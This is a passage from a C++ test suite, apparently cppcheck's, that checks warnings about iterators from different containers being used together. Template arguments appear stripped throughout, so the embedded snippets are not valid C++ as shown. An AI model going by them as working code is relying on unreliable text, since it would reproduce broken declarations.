l2.end(); ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:40]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::iterator it = l1.begin(); l2.end() != it; ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:52]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct C { std::list l1; void func(); };\\n\"\n \"void C::func() {\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = l1.begin(); it != l1.end(); ++it) { }\\n\"\n \" C c;\\n\"\n \" for (it = c.l1.begin(); it != c.l1.end(); ++it) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Same check with reverse iterator\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::const_reverse_iterator it = l1.rbegin(); it != l2.rend(); ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:54]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" while (it != l2.end())\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:35]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" while (l2.end() != it)\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:12]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Same iterator is used with different containers 'l1' and 'l2'. [iterators1]\\n\"\n \"[test.cpp:6:5]: (error) Iterator 'it' referring to container 'l1' is used with container 'l2'. [mismatchingContainerIterator]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #5803\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it, l1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\" // #7658\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" std::list::iterator end = l1.end();\\n\"\n \" l2.insert(it, end);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // only warn for insert when there are preciself 2 arguments.\n check(\"void foo() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it,0,1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void iterator4() {\n check(\"void foo(std::vector &test)\\n\"\n \"{\\n\"\n \" std::set result;\\n\"\n \" for (std::vector::const_iterator cit = test.begin();\\n\"\n \" cit != test.end();\\n\"\n \" ++cit)\\n\"\n \" {\\n\"\n \" result.insert(cit->size());\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator5() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find(ints1.begin(), ints2.end(), 22);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:47]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator6() {\n // Ticket #1357\n check(\"void foo(const std::set &ints1)\\n\"\n \"{\\n\"\n \" std::set ints2;\\n\"\n \" std::set::iterator it1 = ints1.begin();\\n\"\n \" std::set::iterator it2 = ints1.end();\\n\"\n \" ints2.insert(it1, it2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::set &ints1)\\n\"\n \"{\\n\"\n \" std::set ints2;\\n\"\n \" std::set::iterator it1 = ints1.begin();\\n\"\n \" std::set::iterator it2 = ints2.end();\\n\"\n \" ints2.insert(it1, it2);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Iterators of different containers are used together.\\n\", \"\", errout_str());\n }\n\n void iterator7() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::inplace_merge(ints1.begin(), std::advance(ints1.rbegin(), 5), ints2.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:56]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::inplace_merge(ints1.begin(), std::advance(ints2.rbegin(), 5), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator8() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints2.end(), ints1.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:56]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints1.end(), ints2.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:84]: (error) Iterators of different containers 'ints2' and 'ints1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(foo.bar.begin(), foo.bar.end()-6, ints2.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:90]: (error) Iterators of different containers 'ints2' and 'ints1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints1.end(), ints2.begin(), ints2.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6839\n check(\"void f(const std::wstring& a, const std::wstring& b) {\\n\"\n \" const std::string tp1 = std::string(a.begin(), b.end());\\n\"\n \" const std::wstring tp2 = std::string(b.begin(), a.end());\\n\"\n \" const std::u16string tp3(a.begin(), b.end());\\n\"\n \" const std::u32string tp4(b.begin(), a.end());\\n\"\n \" const std::string fp1 = std::string(a.begin(), a.end());\\n\"\n \" const std::string tp2(a.begin(), a.end());\\n\"\n \"}\");\n ASSERT_EQUALS( // TODO \"[test.cpp:2]: (error) Iterators of different containers are used together.\\n\"\n // TODO \"[test.cpp:3]: (error) Iterators of different containers are used together.\\n\"\n \"[test.cpp:4:26]: (error) Iterators of different containers 'tp3' and 'a' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:5:26]: (error) Iterators of different containers 'tp4' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator9() {\n // Ticket #1600\n check(\"void foo(std::vector &r)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2481\n check(\"void foo(std::vector &r)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Execution path checking..\n check(\"void foo(std::vector &r, int c)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" if (c)\\n\"\n \" {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:14] (error) After insert(), the iterator 'aI' may be invalid.\", \"\", errout_str());\n }\n\n void iterator10() {\n // Ticket #1679\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::set s1;\\n\"\n \" std::set s2;\\n\"\n \" for (std::set::iterator it = s1.begin(); it != s1.end(); ++it)\\n\"\n \" {\\n\"\n \" if (true) { }\\n\"\n \" if (it != s2.end()) continue;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:39]: (error) Iterators of different containers 's1' and 's2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator11() {\n // Ticket #3433\n check(\"int main() {\\n\"\n \" map myMap;\\n\"\n \" vector myVector;\\n\"\n \" for(vector::iterator x = myVector.begin(); x != myVector.end(); x++)\\n\"\n \" myMap.erase(*x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator12() {\n // Ticket #3201\n check(\"void f() {\\n\"\n \" std::map map1;\\n\"\n \" std::map map2;\\n\"\n \" std::map::const_iterator it = map1.find(123);\\n\"\n \" if (it == map2.end()) { }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (error) Iterators of different containers 'map1' and 'map2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::map map1;\\n\"\n \" std::map map2;\\n\"\n \" std::map::const_iterator it = map1.find(123);\\n\"\n \" if (map2.end() == it) { }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (error) Iterators of different containers 'map2' and 'map1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(std::string &s) {\\n\"\n \" int pos = s.find(x);\\n\"\n \" s.erase(pos);\\n\"\n \" s.erase(pos);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator13() {\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" it = a.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \" it = t.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (error) Iterators of different containers 't' and 'a' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n // #4062\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" it = a.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \" it = t.begin();\\n\"\n \" while (it!=t.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" if(z)\\n\"\n \" it = a.begin();\\n\"\n \" else\\n\"\n \" it = t.begin();\\n\"\n \" while (z && it!=a.end())\\n\"\n \" ++it;\\n\"\n \" while (!z && it!=t.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator14() {\n check(\"void f() {\\n\"\n \" std::map x;\\n\"\n \" std::map::const_iterator it;\\n\"\n \" for (it = x.find(0)->second.begin(); it != x.find(0)->second.end(); ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator15() {\n check(\"void f(C1* x, std::list a) {\\n\"\n \" std::list::iterator pos = a.begin();\\n\"\n \" for(pos = x[0]->plist.begin(); pos != x[0]->plist.end(); ++pos) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator16() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.end();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" while (it2 != it1)\\n\"\n \" {\\n\"\n \" ++it2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it2 = l2.end();\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::set l1;\\n\"\n \" std::set l2(10, 4);\\n\"\n \" std::set::iterator it1 = l1.begin();\\n\"\n \" std::set::iterator it2 = l2.find(4);\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:35]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator17() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \" it2 = l2.end();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" it1 = l2.end();\\n\"\n \" it1 = l1.end();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator18() {\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (++it1 != --it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (it1++ != --it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" if (--it2 > it1++)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:5:15]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n }\n\n void iterator19() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" if (it1 != l1.end())\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:7:13] -> [test.cpp:4:36]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" if (l1.end() > it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:7] -> [test.cpp:4]: (error) Same iterator is used with containers 'l1' that are defined in different scopes.\\n\",\n \"[test.cpp:7:19] -> [test.cpp:7:13]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\"\n \"[test.cpp:7:22]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it2 = l1.begin();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:8:13] -> [test.cpp:4:36]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it2 = l1.begin();\\n\"\n \" if (it2 != it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:8:13] -> [test.cpp:7:40]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"std::set g() {\\n\"\n \" static const std::set s = {1};\\n\"\n \" return s;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" if (g().find(2) == g().end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:17] -> [test.cpp:6:10]: (error) Same iterator is used with containers 'g()' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"std::set f() {\\n\" // #5804\n \" std::set s;\\n\"\n \" return s;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" for (std::set::iterator it = f().begin(); it != f().end(); ++it) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:53] -> [test.cpp:6:41]: (error) Same iterator is used with containers 'f()' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n }\n\n void iterator20() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" it1 = it2;\\n\"\n \" while (it1 != l1.end())\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::list l3;\\n\"\n \"std::list::iterator bar()\\n\"\n \"{\\n\"\n \" return l3.end();\\n\"\n \"}\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" it1 = bar();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:13] -> [test.cpp:10] -> [test.cpp:11]: (error) Comparison of iterators from containers 'l1' and 'l2'.\\n\", \"\", errout_str());\n\n }\n\n void iterator21() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" if (it2 != it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" if (it1 != it2 && it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\", // duplicate\n errout_str());\n }\n\n void iterator22() { // #7107\n check(\"void foo() {\\n\"\n \" std::list &l = x.l;\\n\"\n \" std::list::iterator it = l.find(123);\\n\"\n \" x.l.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator23() { // #9550\n check(\"struct A {\\n\"\n \" struct B {\\n\"\n \" bool operator==(const A::B& b) const;\\n\"\n \" int x;\\n\"\n \" int y;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"bool A::B::operator==(const A::B& b) const {\\n\"\n \" return std::tie(x, y, z) == std::tie(b.x, b.y, b.z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator24() {\n // #9556\n check(\"void f(int a, int b) {\\n\"\n \" if (&a == &b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (std::for_each(&a, &b + 1, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Iterators of different containers 'a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (std::for_each(&a, &b, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Iterators of different containers 'a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(int a) {\\n\"\n \" if (std::for_each(&a, &a, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\"\n \" if (std::for_each(&a, &a + 1, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator25() {\n // #9742\n check(\"struct S {\\n\"\n \" std::vector& v;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" bool operator()(const S& lhs, const S& rhs) const {\\n\"\n \" return &lhs.v != &rhs.v;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator26() { // #9176\n check(\n \"#include \\n\"\n \"int main()\\n\"\n \"{\"\n \" std::map m{ {\\\"a\\\", 1} };\\n\"\n \" if (auto iter = m.find(\\\"x\\\"); iter != m.end()) {\\n\"\n \" return iter->second;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator27() {\n // #10378\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"int f(std::map m) {\\n\"\n \" auto it = m.find( 1 );\\n\"\n \" const int a( it == m.cend() ? 0 : it->second.a );\\n\"\n \" const int b( it == m.cend() ? 0 : it->second.b );\\n\"\n \" return a + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator28()\n {\n // #10450\n check(\"struct S {\\n\"\n \" struct Private {\\n\"\n \" std::list l;\\n\"\n \" };\\n\"\n \" std::unique_ptr p;\\n\"\n \" int foo();\\n\"\n \"};\\n\"\n \"int S::foo() {\\n\"\n \" for(auto iter = p->l.begin(); iter != p->l.end(); ++iter) {\\n\"\n \" if(*iter == 1) {\\n\"\n \" p->l.erase(iter);\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:24]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void iterator29()\n {\n // #11511\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" auto v = g();\\n\"\n \" auto it = g().begin();\\n\"\n \" while (it != g().end())\\n\"\n \" it = v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:14]: (error) Iterator 'it' referring to container 'g()' is used with container 'v'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector& g(int);\\n\"\n \"void f(int i, int j) {\\n\"\n \" auto& r = g(i);\\n\"\n \" auto it = g(j).begin();\\n\"\n \" while (it != g(j).end())\\n\"\n \" it = r.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:14]: (error) Iterator 'it' referring to container 'g(j)' is used with container 'r'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" auto& r = g();\\n\"\n \" auto it = g().begin();\\n\"\n \" while (it != g().end())\\n\"\n \" it = r.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator30()\n {\n check(\"struct S {\\n\" // #12641\n \" bool b;\\n\"\n \" std::list A, B;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::list::iterator i = (b ? B : A).begin();\\n\"\n \" while (i != (b ? B : A).end()) {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator31()\n {\n check(\"struct S {\\n\" // #13327\n \" std::string a;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \"};\\n\"\n \"bool f(const S& s) {\\n\"\n \" std::string b;\\n\"\n \" return s.a.c_str() == b.c_str();\\n\"\n \"}\\n\"\n \"bool g(const T& t) {\\n\"\n \" std::string b;\\n\"\n \" return t.s.a.c_str() == b.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:13]: (error) Iterators of different containers 's.a' and 'b' are used together. 